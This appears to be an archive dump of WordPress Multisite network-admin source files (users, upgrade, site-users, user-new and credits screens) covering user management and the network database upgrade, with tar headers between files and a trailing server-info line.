						if ( ! empty( $_POST['delete'] ) && 'reassign' === $_POST['delete'][ $blogid ][ $id ] ) {
							remove_user_from_blog( $id, $blogid, (int) $user_id );
						} else {
							remove_user_from_blog( $id, $blogid );
						}
					}
				}
			}

			$i = 0;

			if ( is_array( $_POST['user'] ) && ! empty( $_POST['user'] ) ) {
				foreach ( $_POST['user'] as $id ) {
					if ( ! current_user_can( 'delete_user', $id ) ) {
						continue;
					}
					wpmu_delete_user( $id );
					++$i;
				}
			}

			if ( 1 === $i ) {
				$deletefunction = 'delete';
			} else {
				$deletefunction = 'all_delete';
			}

			wp_redirect(
				add_query_arg(
					array(
						'updated' => 'true',
						'action'  => $deletefunction,
					),
					network_admin_url( 'users.php' )
				)
			);
			exit;
	}
}

$wp_list_table = _get_list_table( 'WP_MS_Users_List_Table' );
$pagenum       = $wp_list_table->get_pagenum();
$wp_list_table->prepare_items();
$total_pages = $wp_list_table->get_pagination_arg( 'total_pages' );

if ( $pagenum > $total_pages && $total_pages > 0 ) {
	wp_redirect( add_query_arg( 'paged', $total_pages ) );
	exit;
}

// Used in the HTML title tag.
$title       = __( 'Users' );
$parent_file = 'users.php';

add_screen_option( 'per_page' );

get_current_screen()->add_help_tab(
	array(
		'id'      => 'overview',
		'title'   => __( 'Overview' ),
		'content' =>
			'<p>' . __( 'This table shows all users across the network and the sites to which they are assigned.' ) . '</p>' .
			'<p>' . __( 'Hover over any user on the list to make the edit links appear. The Edit link on the left will take you to their Edit User profile page; the Edit link on the right by any site name goes to an Edit Site screen for that site.' ) . '</p>' .
			'<p>' . __( 'You can also go to the user&#8217;s profile page by clicking on the individual username.' ) . '</p>' .
			'<p>' . __( 'You can sort the table by clicking on any of the table headings and switch between list and excerpt views by using the icons above the users list.' ) . '</p>' .
			'<p>' . __( 'The bulk action will permanently delete selected users, or mark/unmark those selected as spam. Spam users will have posts removed and will be unable to sign up again with the same email addresses.' ) . '</p>' .
			'<p>' . __( 'You can make an existing user an additional super admin by going to the Edit User profile page and checking the box to grant that privilege.' ) . '</p>',
	)
);

get_current_screen()->set_help_sidebar(
	'<p><strong>' . __( 'For more information:' ) . '</strong></p>' .
	'<p>' . __( '<a href="https://codex.wordpress.org/Network_Admin_Users_Screen">Documentation on Network Users</a>' ) . '</p>' .
	'<p>' . __( '<a href="https://wordpress.org/support/forum/multisite/">Support forums</a>' ) . '</p>'
);

get_current_screen()->set_screen_reader_content(
	array(
		'heading_views'      => __( 'Filter users list' ),
		'heading_pagination' => __( 'Users list navigation' ),
		'heading_list'       => __( 'Users list' ),
	)
);

require_once ABSPATH . 'wp-admin/admin-header.php';

if ( isset( $_REQUEST['updated'] ) && 'true' === $_REQUEST['updated'] && ! empty( $_REQUEST['action'] ) ) {
	$message = '';
	switch ( $_REQUEST['action'] ) {
		case 'delete':
			$message = __( 'User deleted.' );
			break;
		case 'all_spam':
			$message = __( 'Users marked as spam.' );
			break;
		case 'all_notspam':
			$message = __( 'Users removed from spam.' );
			break;
		case 'all_delete':
			$message = __( 'Users deleted.' );
			break;
		case 'add':
			$message = __( 'User added.' );
			break;
	}

	wp_admin_notice(
		$message,
		array(
			'type'        => 'success',
			'dismissible' => true,
			'id'          => 'message',
		)
	);
}
?>
<div class="wrap">
	<h1 class="wp-heading-inline"><?php esc_html_e( 'Users' ); ?></h1>

	<?php
	if ( current_user_can( 'create_users' ) ) :
		?>
		<a href="<?php echo esc_url( network_admin_url( 'user-new.php' ) ); ?>" class="page-title-action"><?php echo esc_html__( 'Add User' ); ?></a>
		<?php
	endif;

	if ( strlen( $usersearch ) ) {
		echo '<span class="subtitle">';
		printf(
			/* translators: %s: Search query. */
			__( 'Search results for: %s' ),
			'<strong>' . esc_html( $usersearch ) . '</strong>'
		);
		echo '</span>';
	}
	?>

	<hr class="wp-header-end">

	<?php $wp_list_table->views(); ?>

	<form method="get" class="search-form">
		<?php $wp_list_table->search_box( __( 'Search Users' ), 'all-user' ); ?>
	</form>

	<form id="form-user-list" action="users.php?action=allusers" method="post">
		<?php $wp_list_table->display(); ?>
	</form>
</div>

<?php require_once ABSPATH . 'wp-admin/admin-footer.php'; ?>
upgrade.php000064400000011437152204755650006725 0ustar00<?php
/**
 * Multisite upgrade administration panel.
 *
 * @package WordPress
 * @subpackage Multisite
 * @since 3.0.0
 */

/** Load WordPress Administration Bootstrap */
require_once __DIR__ . '/admin.php';

require_once ABSPATH . WPINC . '/http.php';

/**
 * @global int $wp_db_version WordPress database version.
 */
global $wp_db_version;

// Used in the HTML title tag.
$title       = __( 'Upgrade Network' );
$parent_file = 'upgrade.php';

get_current_screen()->add_help_tab(
	array(
		'id'      => 'overview',
		'title'   => __( 'Overview' ),
		'content' =>
			'<p>' . __( 'Only use this screen once you have updated to a new version of WordPress through Updates/Available Updates (via the Network Administration navigation menu or the Toolbar). Clicking the Upgrade Network button will step through each site in the network, five at a time, and make sure any database updates are applied.' ) . '</p>' .
			'<p>' . __( 'If a version update to core has not happened, clicking this button will not affect anything.' ) . '</p>' .
			'<p>' . __( 'If this process fails for any reason, users logging in to their sites will force the same update.' ) . '</p>',
	)
);

get_current_screen()->set_help_sidebar(
	'<p><strong>' . __( 'For more information:' ) . '</strong></p>' .
	'<p>' . __( '<a href="https://developer.wordpress.org/advanced-administration/multisite/admin/#network-admin-updates-screen">Documentation on Upgrade Network</a>' ) . '</p>' .
	'<p>' . __( '<a href="https://wordpress.org/support/forums/">Support forums</a>' ) . '</p>'
);

require_once ABSPATH . 'wp-admin/admin-header.php';

if ( ! current_user_can( 'upgrade_network' ) ) {
	wp_die( __( 'Sorry, you are not allowed to access this page.' ), 403 );
}

echo '<div class="wrap">';
echo '<h1>' . __( 'Upgrade Network' ) . '</h1>';

$action = $_GET['action'] ?? 'show';

switch ( $action ) {
	case 'upgrade':
		$n = ( isset( $_GET['n'] ) ) ? (int) $_GET['n'] : 0;

		if ( $n < 5 ) {
			update_site_option( 'wpmu_upgrade_site', $wp_db_version );
		}

		$site_ids = get_sites(
			array(
				'spam'                   => 0,
				'deleted'                => 0,
				'archived'               => 0,
				'network_id'             => get_current_network_id(),
				'number'                 => 5,
				'offset'                 => $n,
				'fields'                 => 'ids',
				'order'                  => 'DESC',
				'orderby'                => 'id',
				'update_site_meta_cache' => false,
			)
		);
		if ( empty( $site_ids ) ) {
			echo '<p>' . __( 'All done!' ) . '</p>';
			break;
		}
		echo '<ul>';
		foreach ( (array) $site_ids as $site_id ) {
			switch_to_blog( $site_id );
			$siteurl     = site_url();
			$upgrade_url = admin_url( 'upgrade.php?step=upgrade_db' );
			restore_current_blog();

			echo "<li>$siteurl</li>";

			$response = wp_remote_get(
				$upgrade_url,
				array(
					'timeout'     => 120,
					'httpversion' => '1.1',
					'sslverify'   => false,
				)
			);

			if ( is_wp_error( $response ) ) {
				wp_die(
					sprintf(
						/* translators: 1: Site URL, 2: Server error message. */
						__( 'Warning! Problem updating %1$s. Your server may not be able to connect to sites running on it. Error message: %2$s' ),
						$siteurl,
						'<em>' . $response->get_error_message() . '</em>'
					)
				);
			}

			/**
			 * Fires after the Multisite DB upgrade for each site is complete.
			 *
			 * @since MU (3.0.0)
			 *
			 * @param array $response The upgrade response array.
			 */
			do_action( 'after_mu_upgrade', $response );

			/**
			 * Fires after each site has been upgraded.
			 *
			 * @since MU (3.0.0)
			 *
			 * @param int $site_id The Site ID.
			 */
			do_action( 'wpmu_upgrade_site', $site_id );
		}
		echo '</ul>';
		?><p><?php _e( 'If your browser does not start loading the next page automatically, click this link:' ); ?> <a class="button" href="upgrade.php?action=upgrade&amp;n=<?php echo ( $n + 5 ); ?>"><?php _e( 'Next Sites' ); ?></a></p>
		<script>
		<!--
		function nextpage() {
			location.href = "upgrade.php?action=upgrade&n=<?php echo ( $n + 5 ); ?>";
		}
		setTimeout( "nextpage()", 250 );
		//-->
		</script>
		<?php
		break;
	case 'show':
	default:
		if ( (int) get_site_option( 'wpmu_upgrade_site' ) !== $wp_db_version ) :
			?>
		<h2><?php _e( 'Database Update Required' ); ?></h2>
		<p><?php _e( 'WordPress has been updated! Next and final step is to individually upgrade the sites in your network.' ); ?></p>
		<?php endif; ?>

		<p><?php _e( 'The database update process may take a little while, so please be patient.' ); ?></p>
		<p><a class="button button-primary" href="upgrade.php?action=upgrade"><?php _e( 'Upgrade Network' ); ?></a></p>
		<?php
		/**
		 * Fires before the footer on the network upgrade screen.
		 *
		 * @since MU (3.0.0)
		 */
		do_action( 'wpmu_upgrade_page' );
		break;
}
?>
</div>

<?php require_once ABSPATH . 'wp-admin/admin-footer.php'; ?>
site-users.php000064400000027013152204755650007376 0ustar00<?php
/**
 * Edit Site Users Administration Screen
 *
 * @package WordPress
 * @subpackage Multisite
 * @since 3.1.0
 */

/** Load WordPress Administration Bootstrap */
require_once __DIR__ . '/admin.php';

if ( ! current_user_can( 'manage_sites' ) ) {
	wp_die( __( 'Sorry, you are not allowed to edit this site.' ), 403 );
}

$wp_list_table = _get_list_table( 'WP_Users_List_Table' );
$wp_list_table->prepare_items();

get_current_screen()->add_help_tab( get_site_screen_help_tab_args() );
get_current_screen()->set_help_sidebar( get_site_screen_help_sidebar_content() );

get_current_screen()->set_screen_reader_content(
	array(
		'heading_views'      => __( 'Filter site users list' ),
		'heading_pagination' => __( 'Site users list navigation' ),
		'heading_list'       => __( 'Site users list' ),
	)
);

$_SERVER['REQUEST_URI'] = remove_query_arg( 'update', $_SERVER['REQUEST_URI'] );
$referer                = remove_query_arg( 'update', wp_get_referer() );

if ( ! empty( $_REQUEST['paged'] ) ) {
	$referer = add_query_arg( 'paged', (int) $_REQUEST['paged'], $referer );
}

$id = isset( $_REQUEST['id'] ) ? (int) $_REQUEST['id'] : 0;

if ( ! $id ) {
	wp_die( __( 'Invalid site ID.' ) );
}

$details = get_site( $id );
if ( ! $details ) {
	wp_die( __( 'The requested site does not exist.' ) );
}

if ( ! can_edit_network( $details->site_id ) ) {
	wp_die( __( 'Sorry, you are not allowed to access this page.' ), 403 );
}

$is_main_site = is_main_site( $id );

switch_to_blog( $id );

$action = $wp_list_table->current_action();

if ( $action ) {

	switch ( $action ) {
		case 'newuser':
			check_admin_referer( 'add-user', '_wpnonce_add-new-user' );
			$user = $_POST['user'];
			if ( ! is_array( $_POST['user'] ) || empty( $user['username'] ) || empty( $user['email'] ) ) {
				$update = 'err_new';
			} else {
				$password = wp_generate_password( 12, false );
				$user_id  = wpmu_create_user( esc_html( strtolower( $user['username'] ) ), $password, esc_html( $user['email'] ) );

				if ( false === $user_id ) {
					$update = 'err_new_dup';
				} else {
					$result = add_user_to_blog( $id, $user_id, $_POST['new_role'] );

					if ( is_wp_error( $result ) ) {
						$update = 'err_add_fail';
					} else {
						$update = 'newuser';

						/**
						 * Fires after a user has been created via the network site-users.php page.
						 *
						 * @since 4.4.0
						 *
						 * @param int $user_id ID of the newly created user.
						 */
						do_action( 'network_site_users_created_user', $user_id );
					}
				}
			}
			break;

		case 'adduser':
			check_admin_referer( 'add-user', '_wpnonce_add-user' );
			if ( ! empty( $_POST['newuser'] ) ) {
				$update  = 'adduser';
				$newuser = $_POST['newuser'];
				$user    = get_user_by( 'login', $newuser );
				if ( $user && $user->exists() ) {
					if ( ! is_user_member_of_blog( $user->ID, $id ) ) {
						$result = add_user_to_blog( $id, $user->ID, $_POST['new_role'] );

						if ( is_wp_error( $result ) ) {
							$update = 'err_add_fail';
						}
					} else {
						$update = 'err_add_member';
					}
				} else {
					$update = 'err_add_notfound';
				}
			} else {
				$update = 'err_add_notfound';
			}
			break;

		case 'remove':
			if ( ! current_user_can( 'remove_users' ) ) {
				wp_die( __( 'Sorry, you are not allowed to remove users.' ), 403 );
			}

			check_admin_referer( 'bulk-users' );

			$update = 'remove';
			if ( isset( $_REQUEST['users'] ) ) {
				$userids = $_REQUEST['users'];

				foreach ( $userids as $user_id ) {
					$user_id = (int) $user_id;
					remove_user_from_blog( $user_id, $id );
				}
			} elseif ( isset( $_GET['user'] ) ) {
				remove_user_from_blog( $_GET['user'] );
			} else {
				$update = 'err_remove';
			}
			break;

		case 'promote':
			check_admin_referer( 'bulk-users' );

			if ( ! current_user_can( 'promote_users' ) ) {
				wp_die( __( 'Sorry, you are not allowed to edit this user.' ), 403 );
			}

			$editable_roles = get_editable_roles();
			$role           = $_REQUEST['new_role'];

			// Mock `none` as editable role.
			$editable_roles['none'] = array(
				'name' => __( '&mdash; No role for this site &mdash;' ),
			);

			if ( empty( $editable_roles[ $role ] ) ) {
				wp_die( __( 'Sorry, you are not allowed to give users that role.' ), 403 );
			}

			if ( 'none' === $role ) {
				$role = '';
			}

			if ( isset( $_REQUEST['users'] ) ) {
				$userids = $_REQUEST['users'];
				$update  = 'promote';
				foreach ( $userids as $user_id ) {
					$user_id = (int) $user_id;

					if ( ! current_user_can( 'promote_user', $user_id ) ) {
						wp_die( __( 'Sorry, you are not allowed to edit this user.' ), 403 );
					}

					// If the user doesn't already belong to the blog, bail.
					if ( ! is_user_member_of_blog( $user_id ) ) {
						wp_die(
							'<h1>' . __( 'An error occurred.' ) . '</h1>' .
							'<p>' . __( 'One of the selected users is not a member of this site.' ) . '</p>',
							403
						);
					}

					$user = get_userdata( $user_id );

					// If $role is empty, none will be set.
					$user->set_role( $role );
				}
			} else {
				$update = 'err_promote';
			}
			break;
		default:
			if ( ! isset( $_REQUEST['users'] ) ) {
				break;
			}
			check_admin_referer( 'bulk-users' );
			$userids = $_REQUEST['users'];

			/** This action is documented in wp-admin/network/site-themes.php */
			$referer = apply_filters( 'handle_network_bulk_actions-' . get_current_screen()->id, $referer, $action, $userids, $id ); // phpcs:ignore WordPress.NamingConventions.ValidHookName.UseUnderscores

			$update = $action;
			break;
	}

	wp_safe_redirect( add_query_arg( 'update', $update, $referer ) );
	exit;
}

restore_current_blog();

if ( isset( $_GET['action'] ) && 'update-site' === $_GET['action'] ) {
	wp_safe_redirect( $referer );
	exit;
}

add_screen_option( 'per_page' );

// Used in the HTML title tag.
/* translators: %s: Site title. */
$title = sprintf( __( 'Edit Site: %s' ), esc_html( $details->blogname ) );

$parent_file  = 'sites.php';
$submenu_file = 'sites.php';

/**
 * Filters whether to show the Add Existing User form on the Multisite Users screen.
 *
 * @since 3.1.0
 *
 * @param bool $bool Whether to show the Add Existing User form. Default true.
 */
if ( ! wp_is_large_network( 'users' ) && apply_filters( 'show_network_site_users_add_existing_form', true ) ) {
	wp_enqueue_script( 'user-suggest' );
}

require_once ABSPATH . 'wp-admin/admin-header.php';
?>

<script>
var current_site_id = <?php echo absint( $id ); ?>;
</script>


<div class="wrap">
<h1 id="edit-site"><?php echo $title; ?></h1>
<p class="edit-site-actions"><a href="<?php echo esc_url( get_home_url( $id, '/' ) ); ?>"><?php _e( 'Visit' ); ?></a> | <a href="<?php echo esc_url( get_admin_url( $id ) ); ?>"><?php _e( 'Dashboard' ); ?></a></p>
<?php

network_edit_site_nav(
	array(
		'blog_id'  => $id,
		'selected' => 'site-users',
	)
);

if ( isset( $_GET['update'] ) ) :
	$message = '';
	$type    = 'error';

	switch ( $_GET['update'] ) {
		case 'adduser':
			$type    = 'success';
			$message = __( 'User added.' );
			break;
		case 'err_add_member':
			$message = __( 'User is already a member of this site.' );
			break;
		case 'err_add_fail':
			$message = __( 'User could not be added to this site.' );
			break;
		case 'err_add_notfound':
			$message = __( 'Enter the username of an existing user.' );
			break;
		case 'promote':
			$type    = 'success';
			$message = __( 'Changed roles.' );
			break;
		case 'err_promote':
			$message = __( 'Select a user to change role.' );
			break;
		case 'remove':
			$type    = 'success';
			$message = __( 'User removed from this site.' );
			break;
		case 'err_remove':
			$message = __( 'Select a user to remove.' );
			break;
		case 'newuser':
			$type    = 'success';
			$message = __( 'User created.' );
			break;
		case 'err_new':
			$message = __( 'Enter the username and email.' );
			break;
		case 'err_new_dup':
			$message = __( 'Duplicated username or email address.' );
			break;
	}

	wp_admin_notice(
		$message,
		array(
			'type'        => $type,
			'dismissible' => true,
			'id'          => 'message',
		)
	);
endif;
?>

<form class="search-form" method="get">
<?php $wp_list_table->search_box( __( 'Search Users' ), 'user' ); ?>
<input type="hidden" name="id" value="<?php echo esc_attr( $id ); ?>" />
</form>

<?php $wp_list_table->views(); ?>

<form method="post" action="site-users.php?action=update-site">
	<input type="hidden" name="id" value="<?php echo esc_attr( $id ); ?>" />

<?php $wp_list_table->display(); ?>

</form>

<?php
/**
 * Fires after the list table on the Users screen in the Multisite Network Admin.
 *
 * @since 3.1.0
 */
do_action( 'network_site_users_after_list_table' );

/** This filter is documented in wp-admin/network/site-users.php */
if ( current_user_can( 'promote_users' ) && apply_filters( 'show_network_site_users_add_existing_form', true ) ) :
	?>
<h2 id="add-existing-user"><?php _e( 'Add Existing User' ); ?></h2>
<form action="site-users.php?action=adduser" id="adduser" method="post">
	<input type="hidden" name="id" value="<?php echo esc_attr( $id ); ?>" />
	<table class="form-table" role="presentation">
		<tr>
			<th scope="row"><label for="newuser"><?php _e( 'Username' ); ?></label></th>
			<td><input type="text" class="regular-text wp-suggest-user" name="newuser" id="newuser" /></td>
		</tr>
		<tr>
			<th scope="row"><label for="new_role_adduser"><?php _e( 'Role' ); ?></label></th>
			<td><select name="new_role" id="new_role_adduser">
			<?php
			switch_to_blog( $id );
			wp_dropdown_roles( get_option( 'default_role' ) );
			restore_current_blog();
			?>
			</select></td>
		</tr>
	</table>
	<?php wp_nonce_field( 'add-user', '_wpnonce_add-user' ); ?>
	<?php submit_button( __( 'Add User' ), 'primary', 'add-user', true, array( 'id' => 'submit-add-existing-user' ) ); ?>
</form>
<?php endif; ?>

<?php
/**
 * Filters whether to show the Add New User form on the Multisite Users screen.
 *
 * Note: While WordPress is moving towards simplifying labels by removing "New" from "Add New X" labels,
 * we keep "Add New User" here to maintain a clear distinction from the "Add Existing User" section above.
 *
 * @since 3.1.0
 *
 * @param bool $bool Whether to show the Add New User form. Default true.
 */
if ( current_user_can( 'create_users' ) && apply_filters( 'show_network_site_users_add_new_form', true ) ) :
	?>
<h2 id="add-new-user"><?php _e( 'Add New User' ); ?></h2>
<form action="<?php echo esc_url( network_admin_url( 'site-users.php?action=newuser' ) ); ?>" id="newuser" method="post">
	<input type="hidden" name="id" value="<?php echo esc_attr( $id ); ?>" />
	<table class="form-table" role="presentation">
		<tr>
			<th scope="row"><label for="user_username"><?php _e( 'Username' ); ?></label></th>
			<td><input type="text" class="regular-text ltr" name="user[username]" id="user_username" /></td>
		</tr>
		<tr>
			<th scope="row"><label for="user_email"><?php _e( 'Email' ); ?></label></th>
			<td><input type="text" class="regular-text ltr" name="user[email]" id="user_email" /></td>
		</tr>
		<tr>
			<th scope="row"><label for="new_role_newuser"><?php _e( 'Role' ); ?></label></th>
			<td><select name="new_role" id="new_role_newuser">
			<?php
			switch_to_blog( $id );
			wp_dropdown_roles( get_option( 'default_role' ) );
			restore_current_blog();
			?>
			</select></td>
		</tr>
		<tr class="form-field">
			<td colspan="2" class="td-full"><?php _e( 'A password reset link will be sent to the user via email.' ); ?></td>
		</tr>
	</table>
	<?php wp_nonce_field( 'add-user', '_wpnonce_add-new-user' ); ?>
	<?php submit_button( __( 'Add User' ), 'primary', 'add-user', true, array( 'id' => 'submit-add-user' ) ); ?>
</form>
<?php endif; ?>
</div>
<?php
require_once ABSPATH . 'wp-admin/admin-footer.php';
user-new.php000064400000012154152204755650007040 0ustar00<?php
/**
 * Add User network administration panel.
 *
 * @package WordPress
 * @subpackage Multisite
 * @since 3.1.0
 */

/** Load WordPress Administration Bootstrap */
require_once __DIR__ . '/admin.php';

if ( ! current_user_can( 'create_users' ) ) {
	wp_die( __( 'Sorry, you are not allowed to add users to this network.' ) );
}

get_current_screen()->add_help_tab(
	array(
		'id'      => 'overview',
		'title'   => __( 'Overview' ),
		'content' =>
			'<p>' . __( 'Add User will set up a new user account on the network and send that person an email with username and password.' ) . '</p>' .
			'<p>' . __( 'Users who are signed up to the network without a site are added as subscribers to the main or primary dashboard site, giving them profile pages to manage their accounts. These users will only see Dashboard and My Sites in the main navigation until a site is created for them.' ) . '</p>',
	)
);

get_current_screen()->set_help_sidebar(
	'<p><strong>' . __( 'For more information:' ) . '</strong></p>' .
	'<p>' . __( '<a href="https://codex.wordpress.org/Network_Admin_Users_Screen">Documentation on Network Users</a>' ) . '</p>' .
	'<p>' . __( '<a href="https://wordpress.org/support/forum/multisite/">Support forums</a>' ) . '</p>'
);

if ( isset( $_REQUEST['action'] ) && 'add-user' === $_REQUEST['action'] ) {
	check_admin_referer( 'add-user', '_wpnonce_add-user' );

	if ( ! current_user_can( 'manage_network_users' ) ) {
		wp_die( __( 'Sorry, you are not allowed to access this page.' ), 403 );
	}

	if ( ! is_array( $_POST['user'] ) ) {
		wp_die( __( 'Cannot create an empty user.' ) );
	}

	$user = wp_unslash( $_POST['user'] );

	$user_details = wpmu_validate_user_signup( $user['username'], $user['email'] );

	if ( is_wp_error( $user_details['errors'] ) && $user_details['errors']->has_errors() ) {
		$add_user_errors = $user_details['errors'];
	} else {
		$password = wp_generate_password( 12, false );
		$user_id  = wpmu_create_user( esc_html( strtolower( $user['username'] ) ), $password, sanitize_email( $user['email'] ) );

		if ( ! $user_id ) {
			$add_user_errors = new WP_Error( 'add_user_fail', __( 'Cannot add user.' ) );
		} else {
			/**
			 * Fires after a new user has been created via the network user-new.php page.
			 *
			 * @since 4.4.0
			 *
			 * @param int $user_id ID of the newly created user.
			 */
			do_action( 'network_user_new_created_user', $user_id );

			wp_redirect(
				add_query_arg(
					array(
						'update'  => 'added',
						'user_id' => $user_id,
					),
					'user-new.php'
				)
			);
			exit;
		}
	}
}

$message = '';
if ( isset( $_GET['update'] ) ) {
	if ( 'added' === $_GET['update'] ) {
		$edit_link = '';
		if ( isset( $_GET['user_id'] ) ) {
			$user_id_new = absint( $_GET['user_id'] );
			if ( $user_id_new ) {
				$edit_link = esc_url( add_query_arg( 'wp_http_referer', urlencode( wp_unslash( $_SERVER['REQUEST_URI'] ) ), get_edit_user_link( $user_id_new ) ) );
			}
		}

		$message = __( 'User added.' );

		if ( $edit_link ) {
			$message .= sprintf( ' <a href="%s">%s</a>', $edit_link, __( 'Edit user' ) );
		}
	}
}

// Used in the HTML title tag.
$title       = __( 'Add User' );
$parent_file = 'users.php';

require_once ABSPATH . 'wp-admin/admin-header.php';
?>

<div class="wrap">
<h1 id="add-new-user"><?php _e( 'Add User' ); ?></h1>
<?php
if ( '' !== $message ) {
	wp_admin_notice(
		$message,
		array(
			'type'        => 'success',
			'dismissible' => true,
			'id'          => 'message',
		)
	);
}

if ( isset( $add_user_errors ) && is_wp_error( $add_user_errors ) ) {
	$error_messages = '';
	foreach ( $add_user_errors->get_error_messages() as $error ) {
		$error_messages .= "<p>$error</p>";
	}

	wp_admin_notice(
		$error_messages,
		array(
			'type'           => 'error',
			'dismissible'    => true,
			'id'             => 'message',
			'paragraph_wrap' => false,
		)
	);
}
?>
	<form action="<?php echo esc_url( network_admin_url( 'user-new.php?action=add-user' ) ); ?>" id="adduser" method="post" novalidate="novalidate">
		<p><?php echo wp_required_field_message(); ?></p>
		<table class="form-table" role="presentation">
			<tr class="form-field form-required">
				<th scope="row"><label for="username"><?php _e( 'Username' ); ?> <?php echo wp_required_field_indicator(); ?></label></th>
				<td><input type="text" class="regular-text" name="user[username]" id="username" autocapitalize="none" autocorrect="off" maxlength="60" required="required" /></td>
			</tr>
			<tr class="form-field form-required">
				<th scope="row"><label for="email"><?php _e( 'Email' ); ?> <?php echo wp_required_field_indicator(); ?></label></th>
				<td><input type="email" class="regular-text" name="user[email]" id="email" required="required" /></td>
			</tr>
			<tr class="form-field">
				<td colspan="2" class="td-full"><?php _e( 'A password reset link will be sent to the user via email.' ); ?></td>
			</tr>
		</table>
	<?php
	/**
	 * Fires at the end of the new user form in network admin.
	 *
	 * @since 4.5.0
	 */
	do_action( 'network_user_new_form' );

	wp_nonce_field( 'add-user', '_wpnonce_add-user' );
	submit_button( __( 'Add User' ), 'primary', 'add-user' );
	?>
	</form>
</div>
<?php
require_once ABSPATH . 'wp-admin/admin-footer.php';
credits.php000064400000000371152204755650006726 0ustar00<?php
/**
 * Network Credits administration panel.
 *
 * @package WordPress
 * @subpackage Multisite
 * @since 3.4.0
 */

/** Load WordPress Administration Bootstrap */
require_once __DIR__ . '/admin.php';

require ABSPATH . 'wp-admin/credits.php';
Disabled functions: None